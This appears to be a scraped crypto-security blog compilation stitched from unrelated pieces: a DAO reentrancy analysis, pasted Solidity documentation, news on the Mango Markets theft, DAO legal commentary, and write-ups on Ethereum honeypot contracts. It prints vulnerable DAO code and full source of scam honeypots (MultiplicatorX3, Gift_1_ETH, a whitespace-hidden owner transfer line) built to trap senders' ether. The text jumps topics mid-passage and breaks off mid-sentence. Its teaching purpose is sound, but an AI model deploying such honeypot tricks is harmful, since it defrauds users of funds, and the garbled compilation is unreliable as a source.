iteration. The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary. Was 1.1 Vulnerable? Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes. Check out the updated function (especially the marked lines): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; paidOut[_account] += reward; // XXXXX if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; return true; } Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line: uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to _recipient.call() Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance. Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits. An Important Takeaway I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended. In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy. I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable. For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one. Solidity Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state. Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section. Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features. With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets. When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change. Warning Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`. Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details. Hint You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format. Getting Started 1. Understand the Smart Contract Basics If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following: :ref:`A simple example smart contract <simple-smart-contract>` written in Solidity. :ref:`Blockchain Basics <blockchain-basics>`. :ref:`The Ethereum Virtual Machine <the-ethereum-virtual-machine>`. 2. Get to Know Solidity Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language. 3. Install the Solidity Compiler There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`. Hint You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally. Warning As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section. 4. Learn More If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks. If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel. Translations Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference. You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language. Chinese French Indonesian Japanese Korean Persian Russian Spanish Turkish Note We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations. Contents Basic concepts To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function. In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well. Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes. When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract. The attack The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes. Fallback function A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]: a. If none of the functions of the call to the contract match any of the functions in the called contract b. When the contract receives ether without extra data c. If no data was supplied Example The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO. The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows: The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack). The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable. In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated. One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished. The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract. Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet. The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it. Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt. The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal. “We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief. On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury. The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject. The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency. The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether. So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist. Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account. Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency. Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible. Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident? Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money. The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan? Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist). In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law. And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action. Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second. So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all. Literature: Understanding a Revolutionary and Flawed Grand Experiment in Blockchain: The DAO Attack Journal of Cases on Information Technology Conclusion I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/-QDYiKCwOaA Source: https://cryptodeeptech.ru/dao-exploit Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity
CryptoDeepTech posted a blog entry in ECDSA
CRYPTO DEEP TECH Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker. Let’s look at a couple different real world examples: pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } } In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract. pragma solidity ^0.4.19; contract Gift_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) external payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } } This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash(), SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log. You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could. A safer method the attacker should have used would have been to check the contract storage with a security analysis tool. Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAO, Parity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons: Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough. Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough. Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers. Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked: Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse. Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties: Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH. Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds. Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker. Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks. honeypot1: Multiplicator.sol The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap. GITHUB This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero. It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance. honeypot2: Gift_1_ETH.sol GITHUB The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH? It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong? One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading. It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true. honeypot3: TestToken I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here … This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net. Ganache: starts from 0 Testrpc: starts from 1150000 Ropsten: a few weeks ago around 2596174 Main net: a few weeks ago around 5040270 Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed. if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}} EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago. TL;DR Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice: Be careful where you send your ETH, it could be a trap. Be nice and don’t steal from people. I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments. https://cryptodeep.ru/doc/The_Art_of_The_Scam_Demystifying_Honeypots_in_Ethereum_Smart_Contracts.pdf Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract? Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end. What is honeypot in smart contract? A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them. The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them. However, with the rise of Blockchain technology and the smart contract concept. Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology? The Blockchain technology is built upon 6 main layers that are: The TCP/IP network Peer-to-Peer protocols Consensus algorithms Cryptography algorithms Execution (Data blocs, Transactions, …) Applications (Dapps, smart contracts …) Black hat hackers started to use this concept to trap users both with good or bad intentions. The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap. Best 10 solidity smart contract audit tools that both developers and auditors use during their audit? Slither Securify SmartCheck Oyente Mythril ContractFuzzer Remix IDE static analysis plug-in Manticore sFuzz MadMax What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain. In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract. What are the types of smart contract honeypots? Honeypots in smart contract can be divided into 3 main categories depending on the used techniques: EVM based smart contract honeypots Solidity compiler-based smart contract honeypots Etherscan based smart contract honeypots The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation. six things you should do to prevent using components with known vulnerabilities: Use components from official repositories Remove unused components Only accept components with active support Put a vulnerability management system for you components Put in place a components firewall Remove or replace components with a stopped support Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users. The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled. The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen. The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user. EVM based smart contract honeypots The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example: This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal. However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract. Another example of the balance disorder type of honeypot could be found here: https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453 By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code. I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here: And wait for a moment about 30 seconds to get the source code. By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example. The condition in line 24 will never be verified and the money will be stuck in the contract. Solidity compiler-based smart contract honeypots As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post. Inheritance Disorder technique One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected. In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it. To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples: Example1: You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money. However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner. Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same. Example2 Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function. Skip Empty String Literal Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it. The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed. This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract. Here is a simple example of this honeypot: Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code The source code is a little bit long so I will put just the most important functions: In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract. Type Deduction Overflow The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow. This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code: You can check the whole code here: https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit. However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei. Uninitialized Struct The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it. An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value. This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it. Here is an example of such a honeypot: https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain. However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number. Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals. Etherscan based smart contract honeypots All the smart contracts that we have seen until now, exploit a solidity 